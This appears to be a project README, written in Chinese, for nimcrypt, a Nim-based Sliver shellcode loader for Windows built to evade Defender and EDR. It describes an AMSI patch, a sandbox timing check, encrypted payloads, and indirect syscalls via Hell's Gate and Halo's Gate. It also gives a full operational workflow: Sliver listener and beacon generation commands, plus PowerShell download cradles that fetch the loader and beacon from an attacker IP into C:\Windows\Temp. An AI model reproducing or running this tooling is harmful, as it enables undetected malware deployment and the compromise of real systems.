返回更新列表
已更新Aug 20, 2026

nimcrypt — 已更新!

基于Nim的加密工具,用于混淆shellcode和payload,以逃避Windows Defender检测。

分享

nimcrypt

一个用 Nim 编写的 Sliver shellcode 加载器,针对 Windows x64。包含两种变体,涵盖最常见的两种投递场景。已在开启实时保护的 Windows Defender 环境下测试通过。

变体

stager

从磁盘读取加密的 shellcode 文件,在内存中解密并自注入。适用于已具备文件投放能力,且需要一个轻量简单二进制文件的场景。

loader.exe <shellcode.bin> [key_hex iv_hex]

密钥和 IV 可选。如果省略,文件将被视为未加密的原始 shellcode。

stageless

通过 Windows WinHTTP 栈从你的 C2 服务器下载加密的 shellcode 文件,在内存中解密并自注入。没有任何文件触及磁盘。适用于你可以在目标上执行一个二进制文件,但无法可靠地投放第二个文件的场景。

在编译前,编辑 stageless/loader.nim 顶部的常量:

c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # 来自 encrypt.py 的 64 个十六进制字符
scIV   = "..."   # 来自 encrypt.py 的 32 个十六进制字符

技术细节

沙箱逃避

stageless 加载器在启动时调用 Sleep(5000),并用 GetTickCount64 测量实际经过的时间。如果经过时间少于 4500ms,进程退出。大多数自动化沙箱环境会快速跳过或忽略休眠,导致检测失败。此检查在网络活动或 shellcode 执行之前运行,因此沙箱看不到任何网络行为。

AMSI 绕过

amsi.nim 在运行时通过两层混淆修补 AmsiScanBuffer

通过 FNV-1a 哈希隐藏字符串。 字符串 AmsiScanBuffer 永远不会出现在二进制文件中。相反,其 FNV-1a 哈希在编译时计算并存储为常量。在运行时,加载器遍历 amsi.dll 的导出表,对每个导出名称进行哈希,并与存储的值进行比较,从而找到函数地址,而无需在内存中保留该字符串。

编译时 XOR 混淆。 DLL 名称 (amsi.dll) 和修补字节 (xor eax, eax; ret = 31 C0 C3) 都在编译时通过 Python 子进程生成的随机密钥进行 XOR 编码。密钥作为常量嵌入,字节在运行时立即解码后使用。每次构建原始字节都会改变,从而破坏修补序列的静态签名。

该修补将 AmsiScanBuffer 的前三个字节覆盖为 xor eax, eax; ret,使得每次调用都返回 AMSI_RESULT_CLEAN,无论输入是什么。

有效载荷加密

encrypt.py 使用 AES-256-CBC 加密原始 shellcode,使用随机生成的 32 字节密钥和 16 字节 IV。加载器使用 Windows BCrypt API 就地解密,因此目标上不需要第三方加密库。

RW 到 RX 内存转换

内存先以 PAGE_READWRITE 分配,shellcode 写入其中,然后在执行前将区域切换为 PAGE_EXECUTE_READ。直接以 PAGE_EXECUTE_READWRITE 分配是一个众所周知的特征,Defender 和 EDR 会明确标记。将写入和执行阶段分开可以避免该模式。

间接系统调用(Hell's Gate + Halo's Gate)

stageless/syscalls.nim 同时绕过了 Win32 API 层(kernel32.dll)以及 EDR 在 ntdll.dll 中放置的任何用户态挂钩。

SSN 解析。 在启动时,加载器获取 ntdll 的基地址并解析其 PE 导出表,收集按 RVA 排序的所有 Nt* 导出。对于每个所需的 NT 函数,它检查前四个字节:

  • 4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) 表示存根是干净的,SSN 直接从字节 4-5 读取。这是 Hell's Gate。
  • 任何其他内容表示函数序言已被 EDR 挂钩修补。在这种情况下,加载器在排序列表中遍历相邻函数,直到找到一个干净的存根,然后通过 邻居_SSN +/- 距离 计算出目标 SSN。按地址顺序,每个存根的 SSN 递增 1。这是 Halo's Gate。

Gadget 定位。 加载器扫描找到的第一个干净 Nt* 存根,寻找字节序列 0F 05 C3 (syscall; ret)。这给出了 ntdll 的映像支持的 .text 段内的一个地址,我们可以重用。

存根生成。 对于每个所需函数,一个 22 字节的存根被写入单个 RW 页面,该页面在使用前切换为 RX:

4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  gadget 地址

jmp [rip+0] 解引用紧随其后的 8 个字节(gadget 地址)并将执行重定向到 ntdll 中现有的 syscall; ret 序列。syscall 指令从 ntdll 的 .text 段而不是我们的匿名分配区域发出,从而绕过内核级对发出系统调用的内存区域的追踪。

四个通过间接系统调用覆盖的函数是 NtAllocateVirtualMemoryNtProtectVirtualMemoryNtCreateThreadExNtWaitForSingleObject

自注入

解密后,stageless 加载器通过 NtAllocateVirtualMemory 在其自身进程中分配一个 RW 区域,通过 copyMem 复制 shellcode,通过 NtProtectVirtualMemory 将区域切换为 RX,然后通过 NtCreateThreadEx 生成一个线程。主线程随后通过 NtWaitForSingleObject 无限阻塞,保持进程存活,同时 beacon 的 goroutine 运行。所有四个调用都通过上述间接系统调用存根进行。

自注入保持调用面最小。没有跨进程 API 调用(如 WriteProcessMemoryCreateRemoteThread 等),这些是经典远程注入的主要检测向量。

执行流程(stageless)

  1. 计时检查:休眠 5 秒,如果经过时间 < 4.5 秒则退出
  2. AMSI 修补:通过 FNV-1a 解析 AmsiScanBuffer,覆盖为 xor eax, eax; ret
  3. 解析间接系统调用存根:解析 ntdll 导出,查找 SSN(Hell's Gate + Halo's Gate),定位 syscall; ret gadget,写入存根
  4. 下载:WinHTTP GET 请求,读取响应体
  5. 解密:通过 BCrypt 就地 AES-256-CBC
  6. 分配:通过间接系统调用 NtAllocateVirtualMemory 在当前进程中分配 RW 内存
  7. 将 shellcode 复制到分配区域
  8. 保护:通过间接系统调用 NtProtectVirtualMemory 切换为 PAGE_EXECUTE_READ
  9. 执行:通过间接系统调用 NtCreateThreadEx
  10. 等待:通过间接系统调用 NtWaitForSingleObject 等待线程句柄

执行流程(stager)

  1. AMSI 修补
  2. 从磁盘读取 shellcode 文件
  3. 如果提供了密钥和 IV 则解密
  4. VirtualAlloc (RW),复制 shellcode,VirtualProtect 切换为 RX
  5. 通过函数指针转换执行

需求

在你的 Linux 构建机器上:

  • Nim + nimble(nimble install winim
  • mingw-w64(x86_64-w64-mingw32-gcc
  • Python 3 + pycryptodome(pip install pycryptodome

完整工作流

1. 启动 Sliver 监听器

[server] sliver > mtls --lhost 10.10.14.42 --lport 443

2. 生成 beacon shellcode

[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon

3. 加密

python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761

4. 设置常量并编译

编辑 stageless/loader.nim 并设置 c2Hostc2Portc2PathscKeyscIV,然后从项目根目录执行:

# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim

# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim

始终从项目根目录编译,这样只会加载根目录下的 nim.cfg。输出是一个静态链接的 Windows x64 PE,除了标准系统库外没有外部 DLL 依赖。

5. 服务或传输

Stageless:在匹配 c2Port 的端口上通过 HTTP 提供加密文件:

cd bins && python3 -m http.server 443

Stager:将两个文件传输到目标:

(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")

6. 执行

Stageless:

loader.exe

Stager(带加密):

loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761

Stager(无加密):

loader.exe shellcode.bin

PowerShell 投递

如果通过 PowerShell 下载摇篮投递,加载器运行前 AMSI 会扫描脚本。先在 PS 会话中修补 AMSI:

python3 gen_amsi.py

将输出粘贴到 PS 会话中,然后再下载或执行任何内容。该脚本通过导出表哈希解析 AmsiScanBuffer,因此字符串不会以明文形式出现,并且所有修补字节都使用每个运行随机生成的密钥进行 XOR 编码。

备注

  • 需要 Windows 10 / Server 2016+(通用 CRT)
  • BCryptSetProperty 设置链模式时返回 STATUS_INVALID_PARAMETER,但 BCrypt 默认使用 CBC,解密能正常工作
  • 间接系统调用仅覆盖四个注入关键的 NT 函数。Winsock 和 BCrypt 调用仍然通过其正常的 API 路径进行,这是可以接受的,因为这些调用本身行为上是良性的
  • 存根中的 syscall 指令从 ntdll 的 .text 段内(映像支持,Microsoft 签名)而不是从存根页面发出,从而绕过内核级系统调用来源追踪

参考

你可以在我的博客找到更多关于 Defender 机制、技术及其他工具的详细信息。

分类